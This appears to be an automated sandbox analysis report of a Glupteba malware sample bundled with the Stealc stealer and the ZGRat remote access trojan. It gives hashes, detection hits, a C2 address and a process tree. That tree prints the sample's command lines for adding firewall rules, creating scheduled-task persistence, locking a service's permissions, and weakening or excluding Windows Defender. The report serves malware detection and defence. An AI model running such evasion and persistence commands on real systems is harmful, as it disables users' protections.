glupteba | 37a08c70daddf5079288e71df5796d5cd1a2e67fd3b71a4b3492514abca524c4

Analysis

max time kernel
76s
max time network
106s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
06/05/2024, 05:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
37a08c70daddf5079288e71df5796d5cd1a2e67fd3b71a4b3492514abca524c4.exe
Size 3.4MB
Sample240506-fp27hach85
SHA256 37a08c70daddf5079288e71df5796d5cd1a2e67fd3b71a4b3492514abca524c4
MD5 886e5d7f4e35c0bb6164dc74bf5e371b
SHA1 009dd91c1ecfa4c39374437f7415871144aaa88b
SHA512 b0518c38397749e249e716634541fb9901961ae78734711ef7d7a6446aba4e3d60d073f03532e6aa32f2320a5c30e817647b7aa077b5978b0f0d407375e89994
SSDEEP 49152:eg6HD4YPpoVBQQAbNwmW6Vvfw5ADqfzgF4Cdypovv:0VBFsGvkAF3
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

glupteba stealc zgrat dropper evasion execution loader rat stealer themida upx

Malware Config

Extracted

Family

stealc

http://185.172.128.150

Attributes

url_path
/c698e1bc8a2f5e6d.php

Signatures

Detect ZGRat V1 3 IoCs

resource	yara_rule
behavioral2/memory/5548-1692-0x00000233FC150000-0x00000233FFA48000-memory.dmp	family_zgrat_v1
behavioral2/memory/5548-1885-0x000002339A230000-0x000002339A340000-memory.dmp	family_zgrat_v1
behavioral2/memory/5548-1995-0x000002339A450000-0x000002339A474000-memory.dmp	family_zgrat_v1

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 19 IoCs

resource	yara_rule
behavioral2/memory/3548-1226-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/1508-1229-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/3144-1239-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/3376-1241-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/5232-1470-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/5088-1466-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/5212-1467-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/1436-1457-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/5088-3269-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/5232-3271-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/5212-3270-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/1436-3268-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/1436-3711-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/5232-4081-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/5212-4252-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/5088-4253-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/840-5043-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/840-5192-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba
behavioral2/memory/840-5200-0x0000000000400000-0x0000000001DF2000-memory.dmp	family_glupteba

Stealc
Stealc is an infostealer written in C++.
stealer stealc
ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Command and Scripting Interpreter: PowerShell 1 TTPs 27 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1532	powershell.exe
5724	powershell.exe
5848	powershell.exe
5112	powershell.exe
4536	powershell.exe
5516	powershell.exe
1040	powershell.exe
5928	powershell.exe
5672	powershell.exe
5364	powershell.exe
4836	powershell.exe
5716	powershell.exe
3744	powershell.exe
5084	powershell.exe
1732	powershell.exe
3688	powershell.exe
3044	powershell.exe
1040	powershell.exe
5560	powershell.exe
5872	powershell.exe
2184	powershell.exe
5968	powershell.EXE
1472	powershell.exe
5448	powershell.exe
6084	powershell.exe
5396	powershell.exe
5192	powershell.exe

Downloads MZ/PE file

Modifies Windows Firewall 2 TTPs 4 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
6008	netsh.exe
3860	netsh.exe
4776	netsh.exe
716	netsh.exe

Drops startup file 6 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\UNnzmPCCo3BthqGDXtxDvUp4.bat	jsc.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\iHym7aBa5Dox0eHaIEMMFo73.bat	jsc.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BFf0DTNVMUDizWk2MtnwS8tj.bat	jsc.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2xE2FpfvcraYhtyovcqei4AQ.bat	jsc.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fADOZ2PFA0yv0h5pcRHEiCmb.bat	jsc.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sOfUIZQmJInnYEAySYdSFhWp.bat	jsc.exe

Executes dropped EXE 5 IoCs

pid	Process
1956	01C44b3syrnxqEDHrPkoqeor.exe
3144	tGevef0gmhfCZp00rZ2ED7ow.exe
1508	iKlgCW5wnaP4327qaUeHAcJu.exe
3548	kYWWsCQxfm204ti3jO3NK8PN.exe
3376	05nJsBioU5ejK9U8VB1YQtjg.exe

Themida packer 3 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/files/0x000800000001abef-1250.dat	themida
behavioral2/memory/5312-1251-0x0000000140000000-0x0000000140861000-memory.dmp	themida
behavioral2/memory/5312-1476-0x0000000140000000-0x0000000140861000-memory.dmp	themida

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000800000001ac46-5101.dat	upx
behavioral2/memory/4336-5199-0x0000000000400000-0x00000000008DF000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	pastebin.com
3	pastebin.com

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
54	ipinfo.io
50	api.myip.com
51	api.myip.com
53	ipinfo.io

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4760 set thread context of 4548	4760	37a08c70daddf5079288e71df5796d5cd1a2e67fd3b71a4b3492514abca524c4.exe	74

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2392	sc.exe

Creates scheduled task(s) 1 TTPs 7 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
6124	schtasks.exe
5564	schtasks.exe
1892	schtasks.exe
3272	schtasks.exe
3852	schtasks.exe
5536	schtasks.exe
2584	schtasks.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4548	jsc.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 4760 wrote to memory of 4548	4760	37a08c70daddf5079288e71df5796d5cd1a2e67fd3b71a4b3492514abca524c4.exe	74
PID 4760 wrote to memory of 4548	4760	37a08c70daddf5079288e71df5796d5cd1a2e67fd3b71a4b3492514abca524c4.exe	74
PID 4760 wrote to memory of 4548	4760	37a08c70daddf5079288e71df5796d5cd1a2e67fd3b71a4b3492514abca524c4.exe	74
PID 4760 wrote to memory of 4548	4760	37a08c70daddf5079288e71df5796d5cd1a2e67fd3b71a4b3492514abca524c4.exe	74
PID 4760 wrote to memory of 4548	4760	37a08c70daddf5079288e71df5796d5cd1a2e67fd3b71a4b3492514abca524c4.exe	74
PID 4760 wrote to memory of 4548	4760	37a08c70daddf5079288e71df5796d5cd1a2e67fd3b71a4b3492514abca524c4.exe	74
PID 4760 wrote to memory of 4548	4760	37a08c70daddf5079288e71df5796d5cd1a2e67fd3b71a4b3492514abca524c4.exe	74
PID 4760 wrote to memory of 4548	4760	37a08c70daddf5079288e71df5796d5cd1a2e67fd3b71a4b3492514abca524c4.exe	74
PID 4548 wrote to memory of 1956	4548	jsc.exe	75
PID 4548 wrote to memory of 1956	4548	jsc.exe	75
PID 4548 wrote to memory of 1956	4548	jsc.exe	75
PID 4548 wrote to memory of 3144	4548	jsc.exe	76
PID 4548 wrote to memory of 3144	4548	jsc.exe	76
PID 4548 wrote to memory of 3144	4548	jsc.exe	76
PID 4548 wrote to memory of 1508	4548	jsc.exe	77
PID 4548 wrote to memory of 1508	4548	jsc.exe	77
PID 4548 wrote to memory of 1508	4548	jsc.exe	77
PID 4548 wrote to memory of 3548	4548	jsc.exe	78
PID 4548 wrote to memory of 3548	4548	jsc.exe	78
PID 4548 wrote to memory of 3548	4548	jsc.exe	78
PID 4548 wrote to memory of 3376	4548	jsc.exe	79
PID 4548 wrote to memory of 3376	4548	jsc.exe	79
PID 4548 wrote to memory of 3376	4548	jsc.exe	79

C:\Users\Admin\AppData\Local\Temp\37a08c70daddf5079288e71df5796d5cd1a2e67fd3b71a4b3492514abca524c4.exe
"C:\Users\Admin\AppData\Local\Temp\37a08c70daddf5079288e71df5796d5cd1a2e67fd3b71a4b3492514abca524c4.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4760
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
  2⤵
  - Drops startup file
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4548
- - C:\Users\Admin\Pictures\01C44b3syrnxqEDHrPkoqeor.exe
    "C:\Users\Admin\Pictures\01C44b3syrnxqEDHrPkoqeor.exe"
    3⤵
    - Executes dropped EXE
    PID:1956
  - - C:\Users\Admin\AppData\Local\Temp\u1ic.0.exe
      "C:\Users\Admin\AppData\Local\Temp\u1ic.0.exe"
      4⤵
      PID:1036
  - - C:\Users\Admin\AppData\Local\Temp\u1ic.1.exe
      "C:\Users\Admin\AppData\Local\Temp\u1ic.1.exe"
      4⤵
      PID:4216
    - - C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
        5⤵
        
        PID:5548
- - C:\Users\Admin\Pictures\tGevef0gmhfCZp00rZ2ED7ow.exe
    "C:\Users\Admin\Pictures\tGevef0gmhfCZp00rZ2ED7ow.exe"
    3⤵
    - Executes dropped EXE
    PID:3144
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:3044
  - - C:\Users\Admin\Pictures\tGevef0gmhfCZp00rZ2ED7ow.exe
      "C:\Users\Admin\Pictures\tGevef0gmhfCZp00rZ2ED7ow.exe"
      4⤵
      PID:5212
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5560
    - - C:\Windows\System32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:4088
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:716
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5716
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1040
- - C:\Users\Admin\Pictures\iKlgCW5wnaP4327qaUeHAcJu.exe
    "C:\Users\Admin\Pictures\iKlgCW5wnaP4327qaUeHAcJu.exe"
    3⤵
    - Executes dropped EXE
    PID:1508
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:1532
  - - C:\Users\Admin\Pictures\iKlgCW5wnaP4327qaUeHAcJu.exe
      "C:\Users\Admin\Pictures\iKlgCW5wnaP4327qaUeHAcJu.exe"
      4⤵
      PID:5088
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5672
    - - C:\Windows\System32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:3900
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:6008
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5364
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5084
- - C:\Users\Admin\Pictures\kYWWsCQxfm204ti3jO3NK8PN.exe
    "C:\Users\Admin\Pictures\kYWWsCQxfm204ti3jO3NK8PN.exe"
    3⤵
    - Executes dropped EXE
    PID:3548
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:1040
  - - C:\Users\Admin\Pictures\kYWWsCQxfm204ti3jO3NK8PN.exe
      "C:\Users\Admin\Pictures\kYWWsCQxfm204ti3jO3NK8PN.exe"
      4⤵
      PID:1436
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5516
    - - C:\Windows\System32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:2316
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:4776
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5848
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3744
    - - C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe
        5⤵
        
        PID:840
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5112
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        6⤵
        Creates scheduled task(s)
        
        PID:3852
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /delete /tn ScheduledUpdate /f
        6⤵
        
        PID:4648
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5928
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3688
      - C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
        6⤵
        
        PID:2852
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        6⤵
        Creates scheduled task(s)
        
        PID:2584
      - C:\Windows\windefender.exe
        
        "C:\Windows\windefender.exe"
        6⤵
        
        PID:4848
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        7⤵
        
        PID:5536
        
        C:\Windows\SysWOW64\sc.exe
        
        sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        8⤵
        Launches sc.exe
        
        PID:2392
- - C:\Users\Admin\Pictures\05nJsBioU5ejK9U8VB1YQtjg.exe
    "C:\Users\Admin\Pictures\05nJsBioU5ejK9U8VB1YQtjg.exe"
    3⤵
    - Executes dropped EXE
    PID:3376
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4536
  - - C:\Users\Admin\Pictures\05nJsBioU5ejK9U8VB1YQtjg.exe
      "C:\Users\Admin\Pictures\05nJsBioU5ejK9U8VB1YQtjg.exe"
      4⤵
      PID:5232
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5724
    - - C:\Windows\System32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:4240
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:3860
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4836
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1732
- - C:\Users\Admin\Pictures\HtyRaH5iwnMGfie2aW0p7mCS.exe
    "C:\Users\Admin\Pictures\HtyRaH5iwnMGfie2aW0p7mCS.exe"
    3⤵
    PID:5312
- - C:\Users\Admin\Pictures\pmeWIjN9CYb4amowabPnwrPf.exe
    "C:\Users\Admin\Pictures\pmeWIjN9CYb4amowabPnwrPf.exe"
    3⤵
    PID:5660
  - - C:\Users\Admin\AppData\Local\Temp\7zSECD1.tmp\Install.exe
      .\Install.exe /ThYFdiduvbI "385118" /S
      4⤵
      PID:5104
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        5⤵
        
        PID:2176
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        6⤵
        
        PID:316
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        7⤵
        
        PID:4680
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        8⤵
        
        PID:5672
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
        6⤵
        
        PID:1532
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        7⤵
        
        PID:5752
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        8⤵
        
        PID:4820
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
        6⤵
        
        PID:5324
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        7⤵
        
        PID:5868
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        8⤵
        
        PID:4372
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
        6⤵
        
        PID:5704
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        7⤵
        
        PID:1756
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        8⤵
        
        PID:168
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        6⤵
        
        PID:4996
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        7⤵
        
        PID:3144
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6084
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        9⤵
        
        PID:5704
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        5⤵
        
        PID:5572
      - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        6⤵
        
        PID:2616
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5396
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        8⤵
        
        PID:5040
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 05:05:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zSECD1.tmp\Install.exe\" it /MgedidtRuw 385118 /S" /V1 /F
        5⤵
        Creates scheduled task(s)
        
        PID:5536
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ"
        5⤵
        
        PID:3744
      - C:\Windows\SysWOW64\cmd.exe
        
        /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
        6⤵
        
        PID:3156
        
        \??\c:\windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
        7⤵
        
        PID:5584
- - C:\Users\Admin\Pictures\EIUatqS0AWMIP69AGgSETQJ4.exe
    "C:\Users\Admin\Pictures\EIUatqS0AWMIP69AGgSETQJ4.exe"
    3⤵
    PID:1008
  - - C:\Users\Admin\AppData\Local\Temp\7zS308.tmp\Install.exe
      .\Install.exe /ThYFdiduvbI "385118" /S
      4⤵
      PID:6084
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        5⤵
        
        PID:4260
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        6⤵
        
        PID:196
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        7⤵
        
        PID:5568
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        8⤵
        
        PID:2556
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
        6⤵
        
        PID:1120
        
        C:\Windows\SysWOW64\cmd.exe
        
